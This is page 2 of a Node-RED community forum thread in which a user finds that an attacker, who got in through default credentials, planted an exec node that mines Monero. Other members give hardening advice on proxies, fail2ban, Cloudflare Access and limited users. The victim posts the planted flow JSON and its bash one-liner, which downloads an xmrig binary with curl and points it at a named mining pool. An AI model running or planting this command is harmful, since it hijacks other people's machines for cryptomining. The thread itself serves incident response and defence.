# Node Red starts mining Monero coins without my consent!

**URL:** <https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344>\
**Category:** General\
**Tags:** security\
**Created:** [28 July 2025 07:05 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344 "2025-07-28T07:05:06Z")\
**Posts on this page:** 15\
**Page:** 2

<div class="post-metadata">

**Author:** ![Trying\_to\_learn](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/trying_to_learn/32/28400_2.png) [@Trying\_to\_learn](https://discourse.nodered.org/u/Trying_to_learn)\
**Post date:** [28 July 2025 10:41 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/21 "2025-07-28T10:41:07Z")

</div>

# Your security is (now) kind of a moot point.

So the question may not be comfortable for you being asked.  
But to maybe help other people learn from this mistake:

what username and password did you use?

Just that way if you say you used (for instance)  
username: user  
password: password

It will be a good example for others who think that is secure.

It isn't a put down.

As I said, all those details are now kind of academic.

They HAVE been cracked.

---

<div class="post-metadata">

**Author:** ![UnborN](https://avatars.discourse-cdn.com/v4/letter/u/4491bb/32.png) [@UnborN](https://discourse.nodered.org/u/UnborN)\
**Post date:** [28 July 2025 11:24 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/22 "2025-07-28T11:24:12Z")

</div>

> [@devifast](#):
>
> I remove the process in htop but after deploying the flow in Node red it reappears.

@devifast Do you see any nodes in your flow that you didnt create yourself, possibly an exec node as @hardillb mentioned ? Did you do that search ?

* * *

Is there any logging in either the system or nodered so be can track what the hacker is doing to modify the flow ? log attempts .. ip .. api endpoints

If no detailed logs are there by default .. can @devifast add something in `settings.js` so we get more information ?

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [28 July 2025 12:29 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/23 "2025-07-28T12:29:18Z")

</div>

> [@UnborN](#):
>
> If no detailed logs are there by default .. can @devifast add something in `settings.js` so we get more information ?

Just a reminder here that if the attacker gained access to Node-RED, there is a very good chance they then got access to the whole device. Logs will be suspect as will the configuration of the OS.

This is why I've always said that Node-RED should not be installed globally and should always be run under its own, limited user-id.

---

<div class="post-metadata">

**Author:** ![devifast](https://avatars.discourse-cdn.com/v4/letter/d/43a26b/32.png) [@devifast](https://discourse.nodered.org/u/devifast)\
**Post date:** [28 July 2025 12:41 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/24 "2025-07-28T12:41:22Z")

</div>

My answer was more than clear. I left them by default even though I never do. There's always a first time. 🙂

---

<div class="post-metadata">

**Author:** ![Trying\_to\_learn](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/trying_to_learn/32/28400_2.png) [@Trying\_to\_learn](https://discourse.nodered.org/u/Trying_to_learn)\
**Post date:** [28 July 2025 12:43 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/25 "2025-07-28T12:43:11Z")

</div>

To quote Jamie Hyneman from Mythbusters......

## Well there's your problem.

---

<div class="post-metadata">

**Author:** ![devifast](https://avatars.discourse-cdn.com/v4/letter/d/43a26b/32.png) [@devifast](https://discourse.nodered.org/u/devifast)\
**Post date:** [28 July 2025 12:46 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/26 "2025-07-28T12:46:48Z")

</div>

How to make fail2ban protect Node red, if anyone has experience, please share.

---

<div class="post-metadata">

**Author:** ![matheus](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/matheus/32/87859_2.png) [@matheus](https://discourse.nodered.org/u/matheus)\
**Post date:** [28 July 2025 13:17 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/27 "2025-07-28T13:17:39Z")

</div>

**Hello, I was reading this topic and I have a question...**

I'm following Node-RED’s security recommendations, especially the part that says the editor should **never be exposed directly to the internet**.

My setup is as follows: I'm running a minimal Linux-based IIoT edge device, using Docker containers for each service (`node-red`, `postgres`, and `cloudflared` separately). The **only** service I want to expose externally is the **Node-RED Dashboard** , and I'm doing that using a **Cloudflared Tunnel** pointing to `http://localhost:1880`.

To ensure security, I’ve taken the following measures:

- Enabled password authentication on the dashboard using `httpNodeAuth`;
- Completely disabled the editor using `disableEditor: true` in `settings.js`;
- No open ports are exposed — only Cloudflared handles external access;
- Node-RED is bound to `localhost` inside the container.

> Given this setup — where the editor is fully disabled and only the dashboard is exposed through a Cloudflared tunnel —  
> would this be considered a **secure and acceptable** way to expose the Node-RED Dashboard?

Or is the **VPN-only** approach still the only officially recommended method?

Thanks in advance!

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [28 July 2025 13:27 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/29 "2025-07-28T13:27:41Z")

</div>

> [@matheus](#):
>
> Enabled password authentication on the dashboard using `httpNodeAuth`;

This is still not the best approach. If using Cloudflared, use their authentication/authorisation service. You can have up to 50 users on their free tier. Cloudflare have years of hard-won experience securing the Internet.

This also saves you a load of extra work ensuring that the NR auth stays secure and gets regularly updated.

> [@matheus](#):
>
> Completely disabled the editor using `disableEditor: true` in `settings.js`;

When using Cloudflare Zero Trust, you don't need to disable the editor, just make sure that only people on your local network can access it. Though, of course, if you are running a separate, secure instance of Node-RED then yes, disabling it is good.

> [@matheus](#):
>
> Node-RED is bound to `localhost` inside the container.

So only localhost connected users (e.g. via SSH) could access the editor anyway.

> [@matheus](#):
>
> Or is the **VPN-only** approach still the only officially recommended method?

There is no "official" method. Security has too many different and sometimes competing needs. It is what works for you.

But in general, no, the 3rd-party proxy method such as Cloudflare Zero Trust is what I always recommend over other approaches.

---

<div class="post-metadata">

**Author:** ![devifast](https://avatars.discourse-cdn.com/v4/letter/d/43a26b/32.png) [@devifast](https://discourse.nodered.org/u/devifast)\
**Post date:** [28 July 2025 13:33 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/30 "2025-07-28T13:33:47Z")

</div>

This is what I found in flows.json

```auto
    {
        "id": "1fc2f159ff39bb55",
        "type": "exec",
        "z": "53e2bcaac2bf898a",
        "command": "/bin/bash -c \"cd /tmp && if [! -f xmrig-aarch64-static]; then curl -Lk -O https://gitlab.com/Kanedias/xmrig-static/-/releases/v0.109/downloads/xmrig-aarch64-static && chmod +x xmrig-aarch64-static; fi && ./xmrig-a><mrig-aarch64-static --coin 'monero' -o crazyeltonproxy.top:443 --tls --no-color --nicehash --rig-id=$(hostname)\"",
        "addpay": "",
        "append": "",
        "useSpawn": "true",
        "timer": "",
        "winHide": false,
        "oldrc": false,
        "name": "",
        "x": 7200,
        "y": 7880,
        "wires": [
            [
                "b37543cb0328c0e4"
            ],
            [
                "b37543cb0328c0e4"
            ],
            [
                "b37543cb0328c0e4"
            ]
        ]
    },

```

---

<div class="post-metadata">

**Author:** ![matheus](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/matheus/32/87859_2.png) [@matheus](https://discourse.nodered.org/u/matheus)\
**Post date:** [28 July 2025 13:36 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/31 "2025-07-28T13:36:15Z")

</div>

Thanks a lot for the detailed explanation.  
I'll move forward with Cloudflare Access to handle authentication instead of relying on Node-RED's internal password system.

---

<div class="post-metadata">

**Author:** ![UnborN](https://avatars.discourse-cdn.com/v4/letter/u/4491bb/32.png) [@UnborN](https://discourse.nodered.org/u/UnborN)\
**Post date:** [28 July 2025 14:07 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/32 "2025-07-28T14:07:02Z")

</div>

> [@devifast](#):
>
> How to make fail2ban protect Node red

There is one related post here

> [@Where logged NR failed logins?](https://discourse.nodered.org/t/where-logged-nr-failed-logins/77429):
>
> Hallo I put credentials in settings.js, but where write NR the failed login try? I have a linux system and try to look in auth-logs and add a custom logger to the settings.js, but I cant find any output to this. I would use fail2ban to anlyze this log. Thanks Thomas

but unfortunately even if you enable `audit` for more detailed logs .. you wont have the remote IP there so its not possible to use fail2ban using node-red logs.

You could use a reverse proxy like [caddy server](https://caddyserver.com/) or nginx in front of your NR server  
and use their more detailed logs to implement the additional fail2ban security (protecting you from brute force attacks) along with node-red's authentication using a strong password.

---

<div class="post-metadata">

**Author:** ![devifast](https://avatars.discourse-cdn.com/v4/letter/d/43a26b/32.png) [@devifast](https://discourse.nodered.org/u/devifast)\
**Post date:** [28 July 2025 14:42 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/33 "2025-07-28T14:42:06Z")

</div>

I found the problem! It turned out that the exec node was pushed into one of the flows.

 ![image](https://us1.discourse-cdn.com/flex026/uploads/nodered/original/3X/6/9/69ce5c7b991c3c3401deb31a6fdefbc93aa02e0b.png)  
 ![image](https://us1.discourse-cdn.com/flex026/uploads/nodered/original/3X/6/f/6f206f69622e8f08f4c00d78ec95ca268f4dc973.png)  
If anyone wants more information?

```auto
/bin/bash -c "cd /tmp && if [! -f xmrig-aarch64-static]; then curl -Lk -O https://gitlab.com/Kanedias/xmrig-static/-/releases/v0.109/downloads/xmrig-aarch64-static && chmod +x xmrig-aarch64-static; fi && ./xmrig-aarch64-static --coin 'monero' -o crazyeltonproxy.top:443 --tls --no-color --nicehash --rig-id=$(hostname)"

```

---

<div class="post-metadata">

**Author:** ![devifast](https://avatars.discourse-cdn.com/v4/letter/d/43a26b/32.png) [@devifast](https://discourse.nodered.org/u/devifast)\
**Post date:** [28 July 2025 14:57 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/34 "2025-07-28T14:57:11Z")

</div>

I'm very sorry, the solution is not mine but hardlib's in post 5. Once again I apologize. I tried to remove the solution mark but it didn't work. I ask the moderators to fix this.  
Greetings.

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [28 July 2025 14:57 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/35 "2025-07-28T14:57:37Z")

</div>

> [@devifast](#):
>
> I found the problem

I'm afraid we've seen it before, not new. You can find similar posts elsewhere in the forum.

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [28 July 2025 14:59 UTC](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344/36 "2025-07-28T14:59:05Z")

</div>

> [@devifast](#):
>
> I ask the moderators to fix this.  
> Greetings.

It's fine, his suggestion was sound and it is that that matters.

[Previous page](https://discourse.nodered.org/t/node-red-starts-mining-monero-coins-without-my-consent/98344.md?page=1)